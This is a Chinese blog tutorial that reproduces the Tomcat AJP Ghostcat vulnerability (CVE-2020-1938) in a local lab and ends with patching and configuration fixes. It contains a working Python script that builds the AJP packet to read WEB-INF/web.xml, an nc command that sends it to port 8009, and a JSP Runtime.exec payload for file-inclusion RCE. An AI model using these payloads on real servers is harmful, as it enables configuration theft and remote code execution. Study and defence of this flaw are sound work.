网络抓包方式复现Tomcat- AJP协议文件读取/命令执行漏洞(CVE-2020-1938 / CNVD-2020-10487)

目录

 测试是否安装成功​编辑

基础简介

Tomcat Connector(连接器)

​编辑Servlet(服务程序)

Tomcat内部处理请求流程

文件读取漏洞

抓包复现

需要将下图中抓取到的数据包修改一下

​编辑

 

替换成二进制数据的形式:

运行结果 

​编辑

创建脚本文件,复现

文件包含漏洞

 Tomcat加载和处理jsp的流程图

漏洞修复

如果未使用 Tomcat AJP 协议

步骤

如果使用了 Tomcat AJP 协议


apache-tomcat-9.0.30.ziphttp://archive.apache.org/dist/tomcat/tomcat-9/v9.0.30/bin/apache-tomcat-9.0.30.zip

注意:需要下载9.0.30及以下的版本

哪些版本的 Tomcat 受到 Ghostcat 漏洞影响?

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

运行需要Java环境

解压后需要在apache-tomcat-9.0.30/bin/ 目录下面的所有.sh文件给上权限

然后运行shartup.sh

 测试是否安装成功

基础简介

Tomcat Connector(连接器)

首先来说一下Tomcat的Connector组件,Connector组件的主要职责就是负责接收客户端连接客户端请求的处理加工。每个Connector会监听一个指定端口,分别负责对请求报文的解析和响应报文组装,解析过程封装Request对象,而组装过程封装Response对象。

举个例子,如果把Tomcat比作一个城堡,那么Connector组件就是城堡的城门,为进出城堡的人们提供通道。当然,可能有多个城门,每个城门代表不同的通道。而Tomcat默认配置启动,开了两个城门(通道):一个是监听8080端口的HTTP Connector,另一个是监听8009端口的AJP Connector

Tomcat组件相关的配置文件是在conf/server.xml,配置文件中每一个元素都对应了Tomcat的一个组件(可以在配置文件中找到如下两项,配置了两个Connector组件):

<!-- Define a non-SSL/TLS HTTP/1.1 Connector on port 8080 -->
 <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />
 .....
 <!-- Define an AJP 1.3 Connector on port 8009 -->
 <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

HTTP Connector很好理解,通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器;

AJP Connector是通过AJP协议和一个Web容器进行交互。在将Tomcat与其他HTTP服务器(一般是Apache )集成时,就需要用到这个连接器。AJP协议是采用二进制形式代替文本形式传输,相比HTTP这种纯文本的协议来说,效率和性能更高,也做了很多优化。

显然,浏览器只支持HTTP协议,并不能直接支持AJP协议。所以实际情况是,通过Apache的proxy_ajp模块进行反向代理,暴露成http协议(8009端口)给客户端访问,大致如下图所示:

Servlet(服务程序)

Servlet意为服务程序,也可简单理解为是一种用来处理网络请求的一套规范。主要作用是给上级容器(Tomcat)提供doGet()和doPost()等方法,其生命周期实例化、初始化、调用、销毁受控于Tomcat容器。有个例子可以很好理解:想象一下,在一栋大楼里有非常多特殊服务者Servlet,这栋大楼有一套智能系统帮助接待顾客引导他们去所需的服务提供者(Servlet)那接受服务。这里顾客就是一个个请求,特殊服务者就是Servlet,而这套智能系统就是Tomcat容器。

Tomcat中Servlet的配置是在`conf/web.xml`。Tomcat默认配置定义了两个servlet,分别为`DefaultServlet`和`JspServlet`:

<!-- The default servlet for all web applications, that serves static    -->
    <!-- resources.  It processes all requests that are not mapped to other   -->
    <!-- servlets with servlet mappings. -->
    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        ......
        ......
    </servlet>
    <!-- The JSP page compiler and execution servlet, which is the mechanism  -->
    <!-- used by Tomcat to support JSP pages.  Traditionally, this servlet    -->
    <!-- is mapped to the URL pattern "*.jsp". -->
    <servlet>
        <servlet-name>jsp</servlet-name>
        <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
        ......
        ......
    </servlet>
    ......
    ......
    <!-- The mapping for the default servlet -->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- The mappings for the JSP servlet -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>

所有的请求进入tomcat,都会流经servlet。由注释可以很明显看出,如果没有匹配到任何应用指定的servlet,那么就会流到默认的servlet(即DefaultServlet),而JspServlet负责处理所有JSP文件的请求。

Tomcat内部处理请求流程

Tomcat内部处理请求的流程第一次看可能觉得会有点复杂。网上很多分析tomcat内部架构的文章,看几篇就能明白个大概了。网上看到张图,简单修改重新绘制了下,介绍一下Tomcat内部处理HTTP请求的流程,便于理解后续的漏洞分析:

  1. 用户点击网页内容,请求被发送到本机端口8080,被Connector获得(Connector中的Processor用于封装Request,Adapter用于将封装好的Request交给Container)。

  2. Connector把该请求交给Container中的Engine来处理,并等待Engine的回应。

  3. Engine获得请求localhost/test/index.jsp,匹配所有的虚拟主机Host。

  4. Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机),名为localhost的Host获得请求/test/index.jsp,匹配它所拥有的所有的Context。Host匹配到路径为/test的Context(如果匹配不到就把该请求交给路径名为" "的Context去处理)。

  5. path="/test"的Context获得请求/index.jsp,在它的mapping table中寻找出对应的Servlet。Context匹配到URL PATTERN为*.jsp的Servlet,对应于JspServlet类(匹配不到指定Servlet的请求对应DefaultServlet类)。

  6. Wrapper是最底层的容器,负责管理一个Servlet。构造HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet()或doPost(),执行业务逻辑、数据存储等程序。

  7. Context把执行完之后的HttpServletResponse对象返回给Host。

  8. Host把HttpServletResponse对象返回给Engine。

  9. Engine把HttpServletResponse对象返回Connector。

  10. Connector把HttpServletResponse对象返回给客户Browser。

Ajp协议的请求在Tomcat内的处理流程与我们上文介绍的Tomcat处理HTTP请求流程类似。我们构造两个不同的请求,经过tomcat内部处理流程,一个走default servlet(DefaultServlet),另一个走jsp servlet(JspServlet),可导致的不同的漏洞。

文件读取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet。

文件读取漏洞

抓包复现

AJP MAGIC ---1234
AJP DATA LENFTH ---01e3
AJP DATA----
02020008485454502f312e310000012f0000093132372e302e302e3100ffff00093132372e302e302e310000500
0000ba00b00093132372e302e302e3100a00e004e4d6f7a696c6c612f352e3020285831313b205562756e74753b
204c696e7578207838365f36343b2072763a3130392e3029204765636b6f2f32303130303130312046697265666
f782f3130392e3000a0010055746578742F68746d6c2C6170706C69636174696f6e2f7868746d6c2b786d6c2c61
70706c69636174696f6e2f786d6c3b713d302e392C696d6167652f617669662c696d6167652f776562702c2a2f2
a3b713d302e3800a004000e656e2d55532656e3b713d302e3500a0030011677a69702C206465666c6174652C206
27200a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300
00013100000e5365632d46657463682d44657374000008646f63756d656e7400000e5365632d46657463682d4d6
f64650000086e6176696761746500000e5365632d46657463682d536974650000046e6f6e6500000e5365632d46
657463682d557365720000023f31000a000f414a505f52454d4f54455f504f52540000053532383230000a000e4
14a505f4c4f43414c5f414444520000093132372e302e302e3100
AJP END ---ff


DATA格式:

AJP_REMOVE_PORT:44442
0a000f   414a505f52454d4f54455f504f5254  0000  05343231323600
414a505f52454d4f54455f504f5254是AJP_REMOTE_PORT
0000用来分隔请求头的key和value
053432313236是value
0a000e414a505f4c4f43414c5f414444520000093132372e302e302e3100

0a00是request_header的标志
of是header的长度
00表示结束
需要拼接的形式:0a00+key长度+0000+value长度+value+00

需要将下图中抓取到的数据包修改一下

替换成二进制数据的形式:

    'javax.servlet.include.request_uri': '/WEB-INF/web.xml',
    'javax.servlet.include.path_info': 'web.xml',
    'javax.servlet.include.servlet_path': '/WEB-INF/',

再修改AJP_DATA_LENGTH为正确的大小即可

python版替换代码:

import binascii

AJP_MAGIC = '1234'.encode()

AJP_HEADER = b'这里是AJP DATA'

def unhex(hex):
    return binascii.unhexlify(hex)
def pack_attr(attr):
    attr_length = hex(len(attr))[2:].encode().zfill(2)
    return attr_length + binascii.hexlify(attr.encode())

attribute = {
    'javax.servlet.include.request_uri': '/WEB-INF/web.xml',
    'javax.servlet.include.path_info': 'web.xml',
    'javax.servlet.include.servlet_path': '/WEB-INF/',
}

req_attribute = b''
for key, value in attribute.items():
    # key_length = hex(len(key))[2:].encode().zfill(2)
    # value_length = hex(len(value))[2:].encode().zfill(2)
    req_attribute += b'0a00' + pack_attr(key) + b'0000' + pack_attr(value) + b'00'



AJP_DATA = AJP_HEADER + req_attribute + b'ff'
AJP_DATA_LENGTH = hex(len(binascii.unhexlify(AJP_DATA)))[2:].zfill(4)
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH.encode() + AJP_DATA
print(AJP_FORWARD_REQUEST)

运行结果 

123401fa02020008485454502f312e310000012f0000093132372e302e302e310000096c6f63616c686f73740000093132372e302e302e31000050000007a00b00093132372e302e302e3100a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a36382e3029204765636b6f2f32303130303130312046697265666f782f36382e3000a001003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300000131000a000f414a505f52454d4f54455f504f52540000053539303538000a000e414a505f4c4f43414c5f414444520000093132372e302e302e31000a00216a617661782e736572766c65742e696e636c7564652e726571756573745f7572690000102f5745422d494e462f7765622e786d6c000a001f6a617661782e736572766c65742e696e636c7564652e706174685f696e666f0000077765622e786d6c000a00226a617661782e736572766c65742e696e636c7564652e736572766c65745f706174680000092f5745422d494e462f00ff

创建脚本文件,复现

执行命令

python3 ajp_tomcat.py | xxd -r -p | nc -v 127.0.0.1 8009

文件包含漏洞

请求经过AjpProcessor类的处理,随后将请求转发给了JspServlet。POC中的请求url是.jsp文件,而JspServlet负责处理所有JSP文件的请求

首先在webapps/manager目录下新建文件test.txt,内容为:

<%Runtime.getRuntime().exec("calc.exe");%>

修改POC进行调试。POC中的四个关键参数,也先在此说明:

# 请求url,这个参数一定要是以“.jsp”结尾
req_uri = '/manager/ddd.jsp'

# AJP协议请求中的三个属性
javax.servlet.include.request_uri = '/'
javax.servlet.include.path_info = 'test.txt'
javax.servlet.include.servlet_path = '/'

 Tomcat加载和处理jsp的流程图

总结:简单理解就是我们传入的"/test.txt"被当成jsp编译执行。带入了Tomcat处理jsp的处理流程,将jsp(test.txt)转义成Servlet源代码.java(test_txt.java),将Servlet源代码.java编译成Servlet类.class(test_txt.class),Servlet类执行后,响应结果至客户端。

该漏洞造成RCE的条件是:在webapps目录下上传文件(可以是任意文件),随后通过该文件包含漏洞,造成RCE。

漏洞复现:修改poc中的请求url为manager/ddd.jsp,test.txt中的代码被执行。

漏洞修复

如果未使用 Tomcat AJP 协议

则可以直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复。

而对于确定未使用 Tomcat AJP 协议,但无法进行版本更新、或者是更老版本的用户,可以考虑直接关闭 AJP Connector,或将其监听地址改为仅监听在本机 localhost。

步骤

编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

将此行注释掉(或直接删掉此行):

<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->

更改完毕后,重启 Tomcat 即可

如果使用了 Tomcat AJP 协议

如果确定服务器环境中使用到了 Tomcat AJP 协议,则建议将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本,同时为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证。

例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />

而对于无法进行版本更新、或者是更老版本的用户,则建议为 AJP Connector 配置 requiredSecret 来设置 AJP 协议认证凭证。例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

参考博客https://paper.seebug.org/1147/

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
cnvd-2020-10487-tomcat-ajp-lfi是一种利用Tomcat中Apache JServ协议AJP)的本地文件包含(LFI)漏洞。该漏洞允许攻击者在服务器执行任意的文件读取执行操作,从而可能导致敏感信息泄露、甚至服务器完全受控。 攻击者可以通过将恶意的AJP请求发送到Tomcat服务器的8009端口来利用该漏洞。这些请求可以指定要读取文件路径。由于Tomcat默认配置下AJP协议启用且未进行适当的安全限制,攻击者可以通过这个漏洞读取执行服务器上的任意文件。 为了防止受到cnvd-2020-10487-tomcat-ajp-lfi漏洞的攻击,可以采取以下措施: 1. 禁用或限制AJPS协议的使用:可以通过修改Tomcat的配置文件来禁用或限制AJPS协议的使用。将AJP协议暴露在公共网络上可能会使服务器容易受到攻击。 2. 更新Tomcat版本:及时安装Tomcat安全更新和补丁,以保持服务器安全性和稳定性。 3. 配置Tomcat访问控制:通过配置Tomcat的访问控制策略,限制外部访问与敏感文件相关的路径。 4. 使用防火墙和入侵检测系统(IDS):配置防火墙和IDS以监控和检测异常的网络活动,并及时阻止和警示可疑的AJP请求。 5. 最小权限原则:确保服务器上的所有账户和进程都具有最小权限。这样,即使攻击者成功利用了漏洞,也能够最大限度地减小攻击的影响范围。 综上所述,cnvd-2020-10487-tomcat-ajp-lfi是一种危险的漏洞,但通过采取适当的防护措施,我们可以提高服务器安全性,避免受到该漏洞的攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

戲子 鬧京城°ぃ

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值